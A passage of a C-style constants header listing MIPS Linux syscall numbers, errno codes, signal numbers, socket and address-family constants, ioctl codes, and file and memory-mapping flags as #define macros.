207) #define __NR_getpmsg (4000 + 208) #define __NR_putpmsg (4000 + 209) #define __NR_mmap2 (4000 + 210) #define __NR_truncate64 (4000 + 211) #define __NR_ftruncate64 (4000 + 212) #define __NR_stat64 (4000 + 213) #define __NR_lstat64 (4000 + 214) #define __NR_fstat64 (4000 + 215) #define __NR_pivot_root (4000 + 216) #define __NR_mincore (4000 + 217) #define __NR_madvise (4000 + 218) #define __NR_getdents64 (4000 + 219) #define __NR_fcntl64 (4000 + 220) #define __NR_reserved221 (4000 + 221) #define __NR_gettid (4000 + 222) #define __NR_readahead (4000 + 223) #define __NR_setxattr (4000 + 224) #define __NR_lsetxattr (4000 + 225) #define __NR_fsetxattr (4000 + 226) #define __NR_getxattr (4000 + 227) #define __NR_lgetxattr (4000 + 228) #define __NR_fgetxattr (4000 + 229) #define __NR_listxattr (4000 + 230) #define __NR_llistxattr (4000 + 231) #define __NR_flistxattr (4000 + 232) #define __NR_removexattr (4000 + 233) #define __NR_lremovexattr (4000 + 234) #define __NR_fremovexattr (4000 + 235) #define __NR_tkill (4000 + 236) #define __NR_sendfile64 (4000 + 237) #define __NR_futex (4000 + 238) #define __NR_sched_setaffinity (4000 + 239) #define __NR_sched_getaffinity (4000 + 240) #define __NR_io_setup (4000 + 241) #define __NR_io_destroy (4000 + 242) #define __NR_io_getevents (4000 + 243) #define __NR_io_submit (4000 + 244) #define __NR_io_cancel (4000 + 245) #define __NR_exit_group (4000 + 246) #define __NR_lookup_dcookie (4000 + 247) #define __NR_epoll_create (4000 + 248) #define __NR_epoll_ctl (4000 + 249) #define __NR_epoll_wait (4000 + 250) #define __NR_remap_file_pages (4000 + 251) #define __NR_set_tid_address (4000 + 252) #define __NR_restart_syscall (4000 + 253) #define __NR_fadvise64 (4000 + 254) #define __NR_statfs64 (4000 + 255) #define __NR_fstatfs64 (4000 + 256) #define __NR_timer_create (4000 + 257) #define __NR_timer_settime (4000 + 258) #define __NR_timer_gettime (4000 + 259) #define __NR_timer_getoverrun (4000 + 260) #define __NR_timer_delete (4000 + 261) #define __NR_clock_settime (4000 + 262) #define __NR_clock_gettime (4000 + 263) #define __NR_clock_getres (4000 + 264) #define __NR_clock_nanosleep (4000 + 265) #define __NR_tgkill (4000 + 266) #define __NR_utimes (4000 + 267) #define __NR_mbind (4000 + 268) #define __NR_get_mempolicy (4000 + 269) #define __NR_set_mempolicy (4000 + 270) #define __NR_mq_open (4000 + 271) #define __NR_mq_unlink (4000 + 272) #define __NR_mq_timedsend (4000 + 273) #define __NR_mq_timedreceive (4000 + 274) #define __NR_mq_notify (4000 + 275) #define __NR_mq_getsetattr (4000 + 276) #define __NR_vserver (4000 + 277) #define __NR_waitid (4000 + 278) #define __NR_add_key (4000 + 280) #define __NR_request_key (4000 + 281) #define __NR_keyctl (4000 + 282) #define __NR_set_thread_area (4000 + 283) #define __NR_inotify_init (4000 + 284) #define __NR_inotify_add_watch (4000 + 285) #define __NR_inotify_rm_watch (4000 + 286) #define __NR_migrate_pages (4000 + 287) #define __NR_openat (4000 + 288) #define __NR_mkdirat (4000 + 289) #define __NR_mknodat (4000 + 290) #define __NR_fchownat (4000 + 291) #define __NR_futimesat (4000 + 292) #define __NR_fstatat64 (4000 + 293) #define __NR_unlinkat (4000 + 294) #define __NR_renameat (4000 + 295) #define __NR_linkat (4000 + 296) #define __NR_symlinkat (4000 + 297) #define __NR_readlinkat (4000 + 298) #define __NR_fchmodat (4000 + 299) #define __NR_faccessat (4000 + 300) #define __NR_pselect6 (4000 + 301) #define __NR_ppoll (4000 + 302) #define __NR_unshare (4000 + 303) #define __NR_splice (4000 + 304) #define __NR_sync_file_range (4000 + 305) #define __NR_tee (4000 + 306) #define __NR_vmsplice (4000 + 307) #define __NR_move_pages (4000 + 308) #define __NR_set_robust_list (4000 + 309) #define __NR_get_robust_list (4000 + 310) #define __NR_kexec_load (4000 + 311) #define __NR_getcpu (4000 + 312) #define __NR_epoll_pwait (4000 + 313) #define __NR_ioprio_set (4000 + 314) #define __NR_ioprio_get (4000 + 315) #define __NR_utimensat (4000 + 316) #define __NR_signalfd (4000 + 317) #define __NR_timerfd (4000 + 318) #define __NR_eventfd (4000 + 319) #define __NR_fallocate (4000 + 320) #define __NR_timerfd_create (4000 + 321) #define __NR_timerfd_gettime (4000 + 322) #define __NR_timerfd_settime (4000 + 323) #define __NR_signalfd4 (4000 + 324) #define __NR_eventfd2 (4000 + 325) #define __NR_epoll_create1 (4000 + 326) #define __NR_dup3 (4000 + 327) #define __NR_pipe2 (4000 + 328) #define __NR_inotify_init1 (4000 + 329) #define __NR_preadv (4000 + 330) #define __NR_pwritev (4000 + 331) #define __NR_rt_tgsigqueueinfo (4000 + 332) #define __NR_perf_event_open (4000 + 333) #define __NR_accept4 (4000 + 334) #define __NR_recvmmsg (4000 + 335) #define __NR_fanotify_init (4000 + 336) #define __NR_fanotify_mark (4000 + 337) #define __NR_prlimit64 (4000 + 338) #define __NR_name_to_handle_at (4000 + 339) #define __NR_open_by_handle_at (4000 + 340) #define __NR_clock_adjtime (4000 + 341) #define __NR_syncfs (4000 + 342) #define __NR_sendmmsg (4000 + 343) #define __NR_setns (4000 + 344) #define __NR_process_vm_readv (4000 + 345) #define __NR_process_vm_writev (4000 + 346) #define __NR_kcmp (4000 + 347) #define __NR_finit_module (4000 + 348) #define __NR_sched_setattr (4000 + 349) #define __NR_sched_getattr (4000 + 350) #define __NR_renameat2 (4000 + 351) #define __NR_seccomp (4000 + 352) #define __NR_getrandom (4000 + 353) #define __NR_memfd_create (4000 + 354) #define __NR_bpf (4000 + 355) #define __NR_execveat (4000 + 356) #define __NR_userfaultfd (4000 + 357) #define __NR_membarrier (4000 + 358) #define __NR_mlock2 (4000 + 359) #define __NR_copy_file_range (4000 + 360) #define __NR_preadv2 (4000 + 361) #define __NR_pwritev2 (4000 + 362) #define __NR_pkey_mprotect (4000 + 363) #define __NR_pkey_alloc (4000 + 364) #define __NR_pkey_free (4000 + 365) #define __NR_statx (4000 + 366) #define __NR_rseq (4000 + 367) #define __NR_io_pgetevents (4000 + 368) #define __NR_semget (4000 + 393) #define __NR_semctl (4000 + 394) #define __NR_shmget (4000 + 395) #define __NR_shmctl (4000 + 396) #define __NR_shmat (4000 + 397) #define __NR_shmdt (4000 + 398) #define __NR_msgget (4000 + 399) #define __NR_msgsnd (4000 + 400) #define __NR_msgrcv (4000 + 401) #define __NR_msgctl (4000 + 402) #define __NR_clock_gettime64 (4000 + 403) #define __NR_clock_settime64 (4000 + 404) #define __NR_clock_adjtime64 (4000 + 405) #define __NR_clock_getres_time64 (4000 + 406) #define __NR_clock_nanosleep_time64 (4000 + 407) #define __NR_timer_gettime64 (4000 + 408) #define __NR_timer_settime64 (4000 + 409) #define __NR_timerfd_gettime64 (4000 + 410) #define __NR_timerfd_settime64 (4000 + 411) #define __NR_utimensat_time64 (4000 + 412) #define __NR_pselect6_time64 (4000 + 413) #define __NR_ppoll_time64 (4000 + 414) #define __NR_io_pgetevents_time64 (4000 + 416) #define __NR_recvmmsg_time64 (4000 + 417) #define __NR_mq_timedsend_time64 (4000 + 418) #define __NR_mq_timedreceive_time64 (4000 + 419) #define __NR_semtimedop_time64 (4000 + 420) #define __NR_rt_sigtimedwait_time64 (4000 + 421) #define __NR_futex_time64 (4000 + 422) #define __NR_sched_rr_get_interval_time64 (4000 + 423) #define __NR_pidfd_send_signal (4000 + 424) #define __NR_io_uring_setup (4000 + 425) #define __NR_io_uring_enter (4000 + 426) #define __NR_io_uring_register (4000 + 427) #define __NR_open_tree (4000 + 428) #define __NR_move_mount (4000 + 429) #define __NR_fsopen (4000 + 430) #define __NR_fsconfig (4000 + 431) #define __NR_fsmount (4000 + 432) #define __NR_fspick (4000 + 433) #define __NR_pidfd_open (4000 + 434) #define __NR_clone3 (4000 + 435) #define __NR_openat2 (4000 + 437) #define __NR_pidfd_getfd (4000 + 438) #define MAP_32BIT 0x40 #define INADDR_ANY 0 #define INADDR_BROADCAST 0xffffffff #define INADDR_NONE 0xffffffff #define INADDR_LOOPBACK 0x7f000001 #define EPERM 1 #define ENOENT 2 #define ESRCH 3 #define EINTR 4 #define EIO 5 #define ENXIO 6 #define E2BIG 7 #define ENOEXEC 8 #define EBADF 9 #define ECHILD 10 #define EAGAIN 11 #define ENOMEM 12 #define EACCES 13 #define EFAULT 14 #define ENOTBLK 15 #define EBUSY 16 #define EEXIST 17 #define EXDEV 18 #define ENODEV 19 #define ENOTDIR 20 #define EISDIR 21 #define EINVAL 22 #define ENFILE 23 #define EMFILE 24 #define ENOTTY 25 #define ETXTBSY 26 #define EFBIG 27 #define ENOSPC 28 #define ESPIPE 29 #define EROFS 30 #define EMLINK 31 #define EPIPE 32 #define EDOM 33 #define ERANGE 34 #define ENOMSG 35 #define EIDRM 36 #define ECHRNG 37 #define EL2NSYNC 38 #define EL3HLT 39 #define EL3RST 40 #define ELNRNG 41 #define EUNATCH 42 #define ENOCSI 43 #define EL2HLT 44 #define EDEADLK 45 #define ENOLCK 46 #define EBADE 50 #define EBADR 51 #define EXFULL 52 #define ENOANO 53 #define EBADRQC 54 #define EBADSLT 55 #define EDEADLOCK 56 #define EBFONT 59 #define ENOSTR 60 #define ENODATA 61 #define ETIME 62 #define ENOSR 63 #define ENONET 64 #define ENOPKG 65 #define EREMOTE 66 #define ENOLINK 67 #define EADV 68 #define ESRMNT 69 #define ECOMM 70 #define EPROTO 71 #define EDOTDOT 73 #define EMULTIHOP 74 #define EBADMSG 77 #define ENAMETOOLONG 78 #define EOVERFLOW 79 #define ENOTUNIQ 80 #define EBADFD 81 #define EREMCHG 82 #define ELIBACC 83 #define ELIBBAD 84 #define ELIBSCN 85 #define ELIBMAX 86 #define ELIBEXEC 87 #define EILSEQ 88 #define ENOSYS 89 #define ELOOP 90 #define ERESTART 91 #define ESTRPIPE 92 #define ENOTEMPTY 93 #define EUSERS 94 #define ENOTSOCK 95 #define EDESTADDRREQ 96 #define EMSGSIZE 97 #define EPROTOTYPE 98 #define ENOPROTOOPT 99 #define EPROTONOSUPPORT 120 #define ESOCKTNOSUPPORT 121 #define EOPNOTSUPP 122 #define ENOTSUP 122 #define EPFNOSUPPORT 123 #define EAFNOSUPPORT 124 #define EADDRINUSE 125 #define EADDRNOTAVAIL 126 #define ENETDOWN 127 #define ENETUNREACH 128 #define ENETRESET 129 #define ECONNABORTED 130 #define ECONNRESET 131 #define ENOBUFS 132 #define EISCONN 133 #define ENOTCONN 134 #define EUCLEAN 135 #define ENOTNAM 137 #define ENAVAIL 138 #define EISNAM 139 #define EREMOTEIO 140 #define EINIT 141 #define EREMDEV 142 #define ESHUTDOWN 143 #define ETOOMANYREFS 144 #define ETIMEDOUT 145 #define ECONNREFUSED 146 #define EHOSTDOWN 147 #define EHOSTUNREACH 148 #define EWOULDBLOCK 11 #define EALREADY 149 #define EINPROGRESS 150 #define ESTALE 151 #define ECANCELED 158 #define ENOMEDIUM 159 #define EMEDIUMTYPE 160 #define ENOKEY 161 #define EKEYEXPIRED 162 #define EKEYREVOKED 163 #define EKEYREJECTED 164 #define EOWNERDEAD 165 #define ENOTRECOVERABLE 166 #define ERFKILL 167 #define EHWPOISON 168 #define EDQUOT 1133 #define __SYS_NERR ((168) + 1) #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #define __BYTE_ORDER 1234 #define __FLOAT_WORD_ORDER 1234 #define LITTLE_ENDIAN 1234 #define BIG_ENDIAN 4321 #define BYTE_ORDER 1234 #define __WORDSIZE 64 #define INT8_MAX (127) #define INT16_MAX (32767) #define INT32_MAX (2147483647) #define INT64_MAX (9223372036854775807) #define INT8_MIN (-1 - (127)) #define INT16_MIN (-1 - (32767)) #define INT32_MIN (-1 - (2147483647)) #define INT64_MIN (-1 - (9223372036854775807)) #define INT_LEAST8_MAX (127) #define INT_LEAST8_MIN (-1 - (127)) #define INT_LEAST16_MAX (32767) #define INT_LEAST16_MIN (-1 - (32767)) #define INT_LEAST32_MAX (2147483647) #define INT_LEAST32_MIN (-1 - (2147483647)) #define INT_LEAST64_MAX (9223372036854775807) #define INT_LEAST64_MIN (-1 - (9223372036854775807)) #define UINT8_MAX 0xff #define UINT16_MAX 0xffff #define UINT32_MAX 0xffffffff #define UINT64_MAX 0xffffffffffffffff #define UINT_LEAST8_MAX 0xff #define UINT_LEAST16_MAX 0xffff #define UINT_LEAST32_MAX 0xffffffff #define UINT_LEAST64_MAX 0xffffffffffffffff #define INTPTR_MIN (-1 - (9223372036854775807)) #define INTPTR_MAX (9223372036854775807) #define UINTPTR_MAX 0xffffffffffffffff #define SIZE_MAX 0xffffffffffffffff #define PTRDIFF_MIN (-1 - (9223372036854775807)) #define PTRDIFF_MAX (9223372036854775807) #define INTMAX_MIN (-1 - (9223372036854775807)) #define INTMAX_MAX (9223372036854775807) #define UINTMAX_MAX 0xffffffffffffffff #define INT_FAST8_MIN (-1 - (127)) #define INT_FAST8_MAX (127) #define INT_FAST64_MIN (-1 - (9223372036854775807)) #define INT_FAST64_MAX (9223372036854775807) #define UINT_FAST8_MAX 0xff #define UINT_FAST64_MAX 0xffffffffffffffff #define INT_FAST16_MIN (-1 - (9223372036854775807)) #define INT_FAST16_MAX (9223372036854775807) #define UINT_FAST16_MAX 0xffffffffffffffff #define INT_FAST32_MIN (-1 - (9223372036854775807)) #define INT_FAST32_MAX (9223372036854775807) #define UINT_FAST32_MAX 0xffffffffffffffff #define WINT_MIN 0 #define __FSUID_H 1 #define NSIG 32 #define _NSIG 128 #define SIGHUP 1 #define SIGINT 2 #define SIGQUIT 3 #define SIGILL 4 #define SIGTRAP 5 #define SIGABRT 6 #define SIGIOT 6 #define SIGFPE 8 #define SIGKILL 9 #define SIGSEGV 11 #define SIGPIPE 13 #define SIGALRM 14 #define SIGTERM 15 #define SIGUNUSED 31 #define SIGEMT 7 #define SIGBUS 10 #define SIGSYS 12 #define SIGUSR1 16 #define SIGUSR2 17 #define SIGCHLD 18 #define SIGPWR 19 #define SIGWINCH 20 #define SIGURG 21 #define SIGIO 22 #define SIGSTOP 23 #define SIGTSTP 24 #define SIGCONT 25 #define SIGTTIN 26 #define SIGTTOU 27 #define SIGVTALRM 28 #define SIGPROF 29 #define SIGXCPU 30 #define SIGXFSZ 31 #define SIGCLD 18 #define SIGPOLL 22 #define SIGLOST 19 #define SIGRTMIN 32 #define SIGRTMAX (128-1) #define SA_NOCLDSTOP 0x00000001 #define SA_SIGINFO 0x00000008 #define SA_NOCLDWAIT 0x00010000 #define SA_RESTORER 0x04000000 #define SA_ONSTACK 0x08000000 #define SA_RESTART 0x10000000 #define SA_INTERRUPT 0x20000000 #define SA_NODEFER 0x40000000 #define SA_RESETHAND 0x80000000 #define SA_NOMASK 0x40000000 #define SA_ONESHOT 0x80000000 #define SS_ONSTACK 1 #define SS_DISABLE 2 #define MINSIGSTKSZ 2048 #define SIGSTKSZ 8192 #define SIG_BLOCK 1 #define SIG_UNBLOCK 2 #define SIG_SETMASK 3 #define SI_MAX_SIZE 128 #define SIGEV_SIGNAL 0 #define SIGEV_NONE 1 #define SIGEV_THREAD 2 #define SIGEV_THREAD_ID 4 #define SIGEV_MAX_SIZE 64 #define _SYS_TIME_H 1 #define ITIMER_REAL 0 #define ITIMER_VIRTUAL 1 #define ITIMER_PROF 2 #define FD_SETSIZE 1024 #define R_OK 4 #define W_OK 2 #define X_OK 1 #define F_OK 0 #define SEEK_SET 0 #define SEEK_CUR 1 #define SEEK_END 2 #define STDIN_FILENO 0 #define STDOUT_FILENO 1 #define STDERR_FILENO 2 #define _CS_PATH 1 #define _SC_CLK_TCK 1 #define _SC_ARG_MAX 2 #define _SC_NGROUPS_MAX 3 #define _SC_OPEN_MAX 4 #define _SC_PAGESIZE 5 #define _SC_NPROCESSORS_ONLN 6 #define _SC_NPROCESSORS_CONF 6 #define _SC_PHYS_PAGES 7 #define _SC_GETPW_R_SIZE_MAX 8 #define _SC_GETGR_R_SIZE_MAX 9 #define _PC_PATH_MAX 1 #define _PC_VDISABLE 2 #define L_cuserid 17 #define _POSIX_VERSION 199506 #define F_ULOCK 0 #define F_LOCK 1 #define F_TLOCK 2 #define F_TEST 3 #define _POSIX_MAPPED_FILES 200809 #define S_IFMT 0xf000 #define S_IFSOCK 0xc000 #define S_IFLNK 0xa000 #define S_IFREG 0x8000 #define S_IFBLK 0x6000 #define S_IFDIR 0x4000 #define S_IFCHR 0x2000 #define S_IFIFO 0x1000 #define S_ISUID 0x800 #define S_ISGID 0x400 #define S_ISVTX 0x200 #define S_IRWXU 0x1c0 #define S_IRUSR 0x100 #define S_IWUSR 0x80 #define S_IXUSR 0x40 #define S_IRWXG 0x38 #define S_IRGRP 0x20 #define S_IWGRP 0x10 #define S_IXGRP 0x8 #define S_IRWXO 0x7 #define S_IROTH 0x4 #define S_IWOTH 0x2 #define S_IXOTH 0x1 #define S_IREAD 0x100 #define S_IWRITE 0x80 #define S_IEXEC 0x40 #define _SYS_UIO 1 #define SOL_SOCKET 0xffff #define SO_DEBUG 0x0001 #define SO_REUSEADDR 0x0004 #define SO_KEEPALIVE 0x0008 #define SO_DONTROUTE 0x0010 #define SO_BROADCAST 0x0020 #define SO_LINGER 0x0080 #define SO_OOBINLINE 0x0100 #define SO_REUSEPORT 0x0200 #define SO_TYPE 0x1008 #define SO_ERROR 0x1007 #define SO_SNDBUF 0x1001 #define SO_RCVBUF 0x1002 #define SO_NO_CHECK 11 #define SO_PRIORITY 12 #define SO_BSDCOMPAT 14 #define SO_PASSCRED 17 #define SO_PEERCRED 18 #define SO_SECURITY_AUTHENTICATION 22 #define SO_SECURITY_ENCRYPTION_TRANSPORT 23 #define SO_SECURITY_ENCRYPTION_NETWORK 24 #define SO_BINDTODEVICE 25 #define SO_ATTACH_FILTER 26 #define SO_DETACH_FILTER 27 #define SO_GET_FILTER 26 #define SO_PEERNAME 28 #define SO_TIMESTAMP 29 #define SCM_TIMESTAMP 29 #define SO_PEERSEC 30 #define SO_PASSSEC 34 #define SO_TIMESTAMPNS 35 #define SCM_TIMESTAMPNS 35 #define SO_MARK 36 #define SO_TIMESTAMPING 37 #define SCM_TIMESTAMPING 37 #define SO_RXQ_OVFL 40 #define SO_WIFI_STATUS 41 #define SCM_WIFI_STATUS 41 #define SO_PEEK_OFF 42 #define SO_NOFCS 43 #define SO_LOCK_FILTER 44 #define SO_SELECT_ERR_QUEUE 45 #define SO_BUSY_POLL 46 #define SO_MAX_PACING_RATE 47 #define SO_BPF_EXTENSIONS 48 #define SO_INCOMING_CPU 49 #define SO_ATTACH_BPF 50 #define SO_DETACH_BPF 27 #define SO_ATTACH_REUSEPORT_CBPF 51 #define SO_ATTACH_REUSEPORT_EBPF 52 #define SO_CNX_ADVICE 53 #define SCM_TIMESTAMPING_OPT_STATS 54 #define SO_MEMINFO 55 #define SO_INCOMING_NAPI_ID 56 #define SO_COOKIE 57 #define SCM_TIMESTAMPING_PKTINFO 58 #define SO_PEERGROUPS 59 #define SO_ZEROCOPY 60 #define SO_SNDBUFFORCE 31 #define SO_RCVBUFFORCE 33 #define SO_RCVLOWAT 0x1004 #define SO_SNDLOWAT 0x1003 #define SO_RCVTIMEO 0x1006 #define SO_SNDTIMEO 0x1005 #define SO_ACCEPTCONN 0x1009 #define SO_PROTOCOL 0x1028 #define SO_DOMAIN 0x1029 #define SO_STYLE 0x1008 #define SOCK_DGRAM 1 #define SOCK_STREAM 2 #define SOCK_RAW 3 #define SOCK_RDM 4 #define SOCK_SEQPACKET 5 #define SOCK_DCCP 6 #define SOCK_PACKET 10 #define UIO_FASTIOV 8 #define UIO_MAXIOV 1024 #define SCM_RIGHTS 0x01 #define SCM_CREDENTIALS 0x02 #define SCM_CONNECT 0x03 #define AF_UNSPEC 0 #define AF_UNIX 1 #define AF_LOCAL 1 #define AF_INET 2 #define AF_AX25 3 #define AF_IPX 4 #define AF_APPLETALK 5 #define AF_NETROM 6 #define AF_BRIDGE 7 #define AF_ATMPVC 8 #define AF_X25 9 #define AF_INET6 10 #define AF_ROSE 11 #define AF_DECnet 12 #define AF_NETBEUI 13 #define AF_SECURITY 14 #define AF_KEY 15 #define AF_NETLINK 16 #define AF_ROUTE 16 #define AF_PACKET 17 #define AF_ASH 18 #define AF_ECONET 19 #define AF_ATMSVC 20 #define AF_SNA 22 #define AF_IRDA 23 #define AF_PPPOX 24 #define AF_WANPIPE 25 #define AF_LLC 26 #define AF_IB 27 #define AF_MPLS 28 #define AF_CAN 29 #define AF_TIPC 30 #define AF_BLUETOOTH 31 #define AF_IUCV 32 #define AF_RXRPC 33 #define AF_ISDN 34 #define AF_PHONET 35 #define AF_IEEE802154 36 #define AF_CAIF 37 #define AF_ALG 38 #define AF_NFC 39 #define AF_VSOCK 40 #define AF_KCM 41 #define AF_QIPCRTR 42 #define AF_SMC 43 #define AF_MAX 44 #define PF_UNSPEC 0 #define PF_UNIX 1 #define PF_LOCAL 1 #define PF_INET 2 #define PF_AX25 3 #define PF_IPX 4 #define PF_APPLETALK 5 #define PF_NETROM 6 #define PF_BRIDGE 7 #define PF_ATMPVC 8 #define PF_X25 9 #define PF_INET6 10 #define PF_ROSE 11 #define PF_DECnet 12 #define PF_NETBEUI 13 #define PF_SECURITY 14 #define PF_KEY 15 #define PF_NETLINK 16 #define PF_ROUTE 16 #define PF_PACKET 17 #define PF_ASH 18 #define PF_ECONET 19 #define PF_ATMSVC 20 #define PF_SNA 22 #define PF_IRDA 23 #define PF_PPPOX 24 #define PF_WANPIPE 25 #define PF_LLC 26 #define PF_IB 27 #define PF_MPLS 28 #define PF_CAN 29 #define PF_TIPC 30 #define PF_BLUETOOTH 31 #define PF_IUCV 32 #define PF_RXRPC 33 #define PF_ISDN 34 #define PF_PHONET 35 #define PF_IEEE802154 36 #define PF_CAIF 37 #define PF_ALG 38 #define PF_NFC 39 #define PF_VSOCK 40 #define PF_KCM 41 #define PF_QIPCRTR 42 #define PF_SMC 43 #define PF_MAX 44 #define SOMAXCONN 128 #define MSG_OOB 1 #define MSG_PEEK 2 #define MSG_DONTROUTE 4 #define MSG_TRYHARD 4 #define MSG_CTRUNC 8 #define MSG_PROBE 0x10 #define MSG_TRUNC 0x20 #define MSG_DONTWAIT 0x40 #define MSG_EOR 0x80 #define MSG_WAITALL 0x100 #define MSG_FIN 0x200 #define MSG_SYN 0x400 #define MSG_CONFIRM 0x800 #define MSG_RST 0x1000 #define MSG_ERRQUEUE 0x2000 #define MSG_NOSIGNAL 0x4000 #define MSG_MORE 0x8000 #define MSG_WAITFORONE 0x10000 #define MSG_SENDPAGE_NOTLAST 0x20000 #define MSG_BATCH 0x40000 #define MSG_EOF 0x200 #define MSG_ZEROCOPY 0x4000000 #define MSG_FASTOPEN 0x20000000 #define MSG_CMSG_CLOEXEC 0x40000000 #define SOL_IP 0 #define SOL_TCP 6 #define SOL_UDP 17 #define SOL_IPV6 41 #define SOL_ICMPV6 58 #define SOL_SCTP 132 #define SOL_UDPLITE 136 #define SOL_RAW 255 #define SOL_IPX 256 #define SOL_AX25 257 #define SOL_ATALK 258 #define SOL_NETROM 259 #define SOL_ROSE 260 #define SOL_DECNET 261 #define SOL_X25 262 #define SOL_PACKET 263 #define SOL_ATM 264 #define SOL_AAL 265 #define SOL_IRDA 266 #define SOL_NETBEUI 267 #define SOL_LLC 268 #define SOL_DCCP 269 #define SOL_NETLINK 270 #define SOL_TIPC 271 #define SOL_RXRPC 272 #define SOL_PPPOL2TP 273 #define SOL_BLUETOOTH 274 #define SOL_PNPIPE 275 #define SOL_RDS 276 #define SOL_IUCV 277 #define SOL_CAIF 278 #define SOL_ALG 279 #define SOL_NFC 280 #define SOL_KCM 281 #define SOL_TLS 282 #define IPX_TYPE 1 #define SHUT_RD 0 #define SHUT_WR 1 #define SHUT_RDWR 2 #define NI_NOFQDN 1 #define NI_NUMERICHOST 2 #define NI_NAMEREQD 4 #define NI_NUMERICSERV 8 #define NI_DGRAM 16 #define EAI_FAMILY -1 #define EAI_SOCKTYPE -2 #define EAI_BADFLAGS -3 #define EAI_NONAME -4 #define EAI_SERVICE -5 #define EAI_ADDRFAMILY -6 #define EAI_NODATA -7 #define EAI_MEMORY -8 #define EAI_FAIL -9 #define EAI_AGAIN -10 #define EAI_SYSTEM -11 #define AI_NUMERICHOST 1 #define AI_CANONNAME 2 #define AI_PASSIVE 4 #define AI_NUMERICSERV 8 #define AI_ADDRCONFIG 16 #define AI_V4MAPPED 32 #define AI_ALL 64 #define SIOCADDRT 0x890B #define SIOCDELRT 0x890C #define SIOCRTMSG 0x890D #define SIOCGIFNAME 0x8910 #define SIOCSIFLINK 0x8911 #define SIOCGIFCONF 0x8912 #define SIOCGIFFLAGS 0x8913 #define SIOCSIFFLAGS 0x8914 #define SIOCGIFADDR 0x8915 #define SIOCSIFADDR 0x8916 #define SIOCGIFDSTADDR 0x8917 #define SIOCSIFDSTADDR 0x8918 #define SIOCGIFBRDADDR 0x8919 #define SIOCSIFBRDADDR 0x891a #define SIOCGIFNETMASK 0x891b #define SIOCSIFNETMASK 0x891c #define SIOCGIFMETRIC 0x891d #define SIOCSIFMETRIC 0x891e #define SIOCGIFMEM 0x891f #define SIOCSIFMEM 0x8920 #define SIOCGIFMTU 0x8921 #define SIOCSIFMTU 0x8922 #define SIOCSIFNAME 0x8923 #define SIOCSIFHWADDR 0x8924 #define SIOCGIFENCAP 0x8925 #define SIOCSIFENCAP 0x8926 #define SIOCGIFHWADDR 0x8927 #define SIOCGIFSLAVE 0x8929 #define SIOCSIFSLAVE 0x8930 #define SIOCADDMULTI 0x8931 #define SIOCDELMULTI 0x8932 #define SIOCGIFINDEX 0x8933 #define SIOGIFINDEX 0x8933 #define SIOCSIFPFLAGS 0x8934 #define SIOCGIFPFLAGS 0x8935 #define SIOCDIFADDR 0x8936 #define SIOCSIFHWBROADCAST 0x8937 #define SIOCGIFCOUNT 0x8938 #define SIOCGIFBR 0x8940 #define SIOCSIFBR 0x8941 #define SIOCGIFTXQLEN 0x8942 #define SIOCSIFTXQLEN 0x8943 #define SIOCGIFDIVERT 0x8944 #define SIOCSIFDIVERT 0x8945 #define SIOCETHTOOL 0x8946 #define SIOCDARP 0x8953 #define SIOCGARP 0x8954 #define SIOCSARP 0x8955 #define SIOCDRARP 0x8960 #define SIOCGRARP 0x8961 #define SIOCSRARP 0x8962 #define SIOCGIFMAP 0x8970 #define SIOCSIFMAP 0x8971 #define SIOCADDDLCI 0x8980 #define SIOCDELDLCI 0x8981 #define SIOCDEVPRIVATE 0x89F0 #define F_LINUX_SPECIFIC_BASE 1024 #define O_ACCMODE 0x0003 #define O_RDONLY 0x0000 #define O_WRONLY 0x0001 #define O_RDWR 0x0002 #define O_APPEND 0x0008 #define O_DSYNC 0x0010 #define O_NONBLOCK 0x0080 #define O_CREAT 0x0100 #define O_TRUNC 0x0200 #define O_EXCL 0x0400 #define O_NOCTTY 0x0800 #define FASYNC 0x1000 #define O_LARGEFILE 0 #define O_SYNC (0x4000|0x0010) #define O_DIRECT 0x8000 #define O_DIRECTORY 0x10000 #define O_NOFOLLOW 0x20000 #define O_NOATIME 0x40000 #define O_CLOEXEC 0x80000 #define O_PATH 0x200000 #define __O_TMPFILE 0x400000 #define O_NDELAY 0x0080 #define F_DUPFD 0 #define F_GETFD 1 #define F_SETFD 2 #define F_GETFL 3 #define F_SETFL 4 #define F_GETLK 14 #define F_SETLK 6 #define F_SETLKW 7 #define F_SETOWN 24 #define F_GETOWN 23 #define F_SETSIG 10 #define F_GETSIG 11 #define FD_CLOEXEC 1 #define F_RDLCK 0 #define F_WRLCK 1 #define F_UNLCK 2 #define F_EXLCK 4 #define F_SHLCK 8 #define F_INPROGRESS 16 #define LOCK_SH 1 #define LOCK_EX 2 #define LOCK_NB 4 #define LOCK_UN 8 #define LOCK_MAND 32 #define LOCK_READ 64 #define LOCK_WRITE 128 #define LOCK_RW 192 #define O_TMPFILE 0x410000 #define O_ASYNC 0x1000 #define F_SETOWN_EX 15 #define F_GETOWN_EX 16 #define F_GETOWNER_UIDS 17 #define F_OFD_GETLK 36 #define F_OFD_SETLK 37 #define F_OFD_SETLKW 38 #define F_OWNER_TID 0 #define F_OWNER_PID 1 #define F_OWNER_PGRP 2 #define AT_FDCWD -100 #define AT_SYMLINK_NOFOLLOW 0x100 #define AT_REMOVEDIR 0x200 #define AT_SYMLINK_FOLLOW 0x400 #define AT_NO_AUTOMOUNT 0x800 #define AT_EMPTY_PATH 0x1000 #define AT_EACCESS 0x200 #define MREMAP_MAYMOVE 1 #define MREMAP_FIXED 2 #define PROT_READ 0x1 #define PROT_WRITE 0x2 #define PROT_EXEC 0x4 #define PROT_SEM 0x8 #define PROT_NONE 0x0 #define PROT_GROWSDOWN 0x01000000 #define PROT_GROWSUP 0x02000000 #define MAP_SHARED 0x01 #define MAP_PRIVATE 0x02 #define MAP_TYPE 0xf #define MADV_REMOVE 9 #define MADV_DONTFORK 10 #define MADV_DOFORK 11 #define MADV_MERGEABLE 12 #define MADV_UNMERGEABLE 13 #define MADV_HUGEPAGE 14 #define MADV_NOHUGEPAGE 15 #define MADV_DONTDUMP 16 #define MADV_DODUMP 17 #define MADV_HWPOISON 100 #define MADV_SOFT_OFFLINE 101 #define MLOCK_ONFAULT 1 #define MAP_FIXED 0x010 #define MAP_NORESERVE 0x0400 #define MAP_ANONYMOUS 0x0800 #define MAP_GROWSDOWN 0x1000 #define MAP_DENYWRITE 0x2000 #define MAP_EXECUTABLE 0x4000 #define MAP_LOCKED 0x8000 #define MAP_POPULATE 0x10000 #define MAP_NONBLOCK 0x20000 #define MAP_STACK 0x40000 #define MAP_HUGETLB 0x80000 #define MS_ASYNC 0x0001 #define MS_INVALIDATE 0x0002 #define 